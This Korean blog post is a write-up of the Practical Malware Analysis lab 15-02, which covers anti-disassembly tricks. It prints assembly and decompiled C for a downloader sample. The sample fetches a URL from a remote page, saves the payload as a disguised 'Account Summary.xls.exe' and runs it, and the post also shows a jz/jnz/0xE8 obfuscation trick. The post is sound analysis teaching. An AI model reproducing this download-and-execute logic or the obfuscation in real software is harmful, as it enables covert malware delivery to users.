일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- pwnable
- writeup
- Bug
- practicalmalwareanalysis
- Read
- TUCTF
- pwnable.kr
- Toddler's Bottle
- PMA
- BOF
- string
- picoCTF
- Bottle
- anti
- rev
- toddler
- Rookiss
- CANARY
- shellcraft
- pwn
- Reverse
- shellcode
- format
- ASM
- CTF
- Leak
- FSB
- reversing
- pico
- 2018
- Today
- Total
제리의 블로그
PMA Lab15-02.exe 안티디스어셈블리 본문
Lab15-02.exe
다음은 strings한 결과입니다.
ShellExecuteA
SHELL32.dll
WS2_32.dll
InternetCloseHandle
InternetReadFile
InternetOpenUrlA
InternetOpenA
WININET.dll
fclose
fwrite
fopen
malloc
strstr
printf
MSVCRT.dll
_exit
_XcptFilter
exit
__p___initenv
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler3
_controlfp
_strdup
not enough name
internet unable
Bamboo::
InternetOpenUrl 함수가 사용되었지만
URL 관련한 문자열은 보이지가 않습니다.
그럼 URL 을 찾아야겠죠.
.text:0040138C mov [ebp+Src], 'h'
.text:00401390 mov [ebp+var_33], 't'
.text:00401394 mov [ebp+var_32], 't'
.text:00401398 mov [ebp+var_31], 'p'
.text:0040139C mov [ebp+var_30], ':'
.text:004013A0 mov [ebp+var_2F], '/'
.text:004013A4 mov [ebp+var_2E], '/'
.text:004013A8 mov [ebp+var_2D], 'w'
.text:004013AC mov [ebp+var_2C], 'w'
.text:004013B0 mov [ebp+var_2B], 'w'
.text:004013B4 mov [ebp+var_2A], '.'
.text:004013B8 mov [ebp+var_29], 'p'
.text:004013BC mov [ebp+var_28], 'r'
.text:004013C0 mov [ebp+var_27], 'a'
.text:004013C4 mov [ebp+var_26], 'c'
.text:004013C8 mov [ebp+var_25], 't'
.text:004013CC mov [ebp+var_24], 'i'
.text:004013D0 mov [ebp+var_23], 'c'
.text:004013D4 mov [ebp+var_22], 'a'
.text:004013D8 mov [ebp+var_21], 'l'
.text:004013DC mov [ebp+var_20], 'm'
.text:004013E0 mov [ebp+var_1F], 'a'
.text:004013E4 mov [ebp+var_1E], 'l'
.text:004013E8 mov [ebp+var_1D], 'w'
.text:004013EC mov [ebp+var_1C], 'a'
.text:004013F0 mov [ebp+var_1B], 'r'
.text:004013F4 mov [ebp+var_1A], 'e'
.text:004013F8 mov [ebp+var_19], 'a'
.text:004013FC mov [ebp+var_18], 'n'
.text:00401400 mov [ebp+var_17], 'a'
.text:00401404 mov [ebp+var_16], 'l'
.text:00401408 mov [ebp+var_15], 'y'
.text:0040140C mov [ebp+var_14], 's'
.text:00401410 mov [ebp+var_13], 'i'
.text:00401414 mov [ebp+var_12], 's'
.text:00401418 mov [ebp+var_11], '.'
.text:0040141C mov [ebp+var_10], 'c'
.text:00401420 mov [ebp+var_F], 'o'
.text:00401424 mov [ebp+var_E], 'm'
.text:00401428 mov [ebp+var_D], '/'
.text:0040142C mov [ebp+var_C], 'b'
.text:00401430 mov [ebp+var_B], 'a'
.text:00401434 mov [ebp+var_A], 'm'
.text:00401438 mov [ebp+var_9], 'b'
.text:0040143C mov [ebp+var_8], 'o'
.text:00401440 mov [ebp+var_7], 'o'
.text:00401444 mov [ebp+var_6], '.'
.text:00401448 mov [ebp+var_5], 'h'
.text:0040144C mov [ebp+var_4], 't'
.text:00401450 mov [ebp+var_3], 'm'
.text:00401454 mov [ebp+var_2], 'l'
.text:00401458 mov [ebp+var_1], 0
찾는데는 어렵지 않았습니다.
위와같이 URL이 한땀한땀 새겨져있었습다.
"http://practicalmalwareanalysis.com/bamboo.html"
.text:00401269 jz short loc_40126E
.text:0040126B jnz short loc_40126E
.text:0040126B ; ---------------------------------------------------------------------------
.text:0040126D db 0E8h ;
.text:0040126E ; ---------------------------------------------------------------------------
.text:0040126E
.text:0040126E loc_40126E: ; CODE XREF: .text:00401269j
.text:0040126E ; .text:0040126Bj
.text:0040126E lea ecx, [ebp-104h]
jz 와 jnz 는 ZF 에 대한 정반대의 명령어입니다.
ZF 가 1일 때 jz의 jump를 수행하고
ZF 가 0일 때 jnz의 jump를 수행합니다.
이 두 명령어가 같은 오프셋으로 jump하고 있는 모습을 볼 수 있는데
0xE8 opcode 로 인해 안티디스어셈블링 기법이 사용되었습니다.
이런건 NOP 으로 패치해줘도 무관합니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
char *v4; // eax@16
FILE *File; // ST24_4@22
void *lpBuffer; // [sp+10h] [bp-102ACh]@20
const char *Filename; // [sp+14h] [bp-102A8h]@20
void *hInternet; // [sp+18h] [bp-102A4h]@16
char Buffer; // [sp+1Ch] [bp-102A0h]@1
char v10; // [sp+1Dh] [bp-1029Fh]@1
__int16 v11; // [sp+10019h] [bp-2A3h]@1
char v12; // [sp+1001Bh] [bp-2A1h]@1
unsigned int i; // [sp+1001Ch] [bp-2A0h]@5
HINTERNET hFile; // [sp+10020h] [bp-29Ch]@16
char *Str; // [sp+10024h] [bp-298h]@19
struct WSAData WSAData; // [sp+10028h] [bp-294h]@1
DWORD dwNumberOfBytesRead; // [sp+101B8h] [bp-104h]@17
char name[256]; // [sp+101BCh] [bp-100h]@3
Buffer = 0;
memset(&v10, 0, 0xFFFCu);
v11 = 0;
v12 = 0;
if ( WSAStartup(0x202u, &WSAData) )
{
result = -1;
}
else if ( gethostname(name, 256) )
{
for ( i = 0; i < 0x100 && name[i]; ++i )
{
switch ( name[i] )
{
case 'Z':
name[i] = 'A';
break;
case 'z':
name[i] = 'a';
break;
case '9':
name[i] = '0';
break;
default:
++name[i];
break;
}
}
hInternet = InternetOpenA(name, 1u, 0, 0, 0); // name == User-Agent
v4 = http___www_practicalmalwareanalysis_com_bamboo_html();
hFile = InternetOpenUrlA(hInternet, v4, 0, 0, 0, 0);
if ( hFile && InternetReadFile(hFile, &Buffer, 0xFFFFu, &dwNumberOfBytesRead) )
{
InternetCloseHandle(hFile);
Str = strstr(&Buffer, "Bamboo::");
if ( Str )
{
*strstr(Str, "::") = 0;
Filename = Account_Summary_xls_exe();
lpBuffer = malloc(0xA00000u);
Str += 8;
hFile = InternetOpenUrlA(hInternet, Str, 0, 0, 0, 0);
if ( InternetReadFile(hFile, lpBuffer, 0x10000u, &dwNumberOfBytesRead) )
{
if ( dwNumberOfBytesRead )
{
File = fopen(Filename, wb);
fwrite(lpBuffer, dwNumberOfBytesRead, 1u, File);
fclose(File);
ShellExecuteA(0, 0, Filename, 0, 0, 10);
}
}
}
result = 0;
}
else
{
printf(internet_unable);
result = -1;
}
}
else
{
printf(not_enough_name);
result = -1;
}
return result;
}
hostname 256자를 받아서 'Z'는 'A'로 'z'는 'a'로 '9'는 '0'으로 치환하고 나머지는 1씩 증가시켜 치환합니다.
이렇게 만들어진거를 User-Agent로 사용하고
http://www.practicalmalwareanalysis.com/bamboo.html 에서 데이터를 받아오는데
다운받은 데이터에 "Bamboo::" 문자열 다음에 나오는 것을 두번째 url 로 이용하여 InternetOpenUrl 합니다.
두번째 url 에서 받은 데이터를 "./Account Summary.xls.exe" 에 채워넣습니다.
그리고 "./Account Summary.xls.exe"를 ShellExecute 합니다.
질문
1. 프로그램이 초기에 요구하는 URL은 무엇인가?
http://www.practicalmalwareanalysis.com/bamboo.html
2. User-Agent를 어떻게 생성하는가?
hostname을 'Z'->'A', 'z'->'a', '9'->'0' 으로 바꾸고 나머지는 1씩 더하여 만든다.
3. 프로그램이 초기에 요청한 페이지에서 무엇을 찾고자 하는가?
Bamboo::
를 strstr() 함수로 찾고있었다.
4. 커맨드라인의 어떤 인자가 프로그램을 'Good Job!'이라고 출력되게 만드는가?
바이너리 안에서는 'Good Job!' 문자열이 안보였던 것 같다.
url에서 받은 데이터를 ShellExecute 할 때 출력될 것 같다.
GET /bamboo.html HTTP/1.1
User-Agent: XJO.RP5U1ODUL44
Host: www.practicalmalwareanalysis.com
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 25 Aug 2018 04:02:36 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://www.practicalmalwareanalysis.com/bamboo.html
X-ac: 3.nrt _bur
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
프로그램에서 원하는 데이터를 볼 수 없다.
아마도 ShellExecute("echo 'Good Job!'") 비슷하게 실행될 것 같다.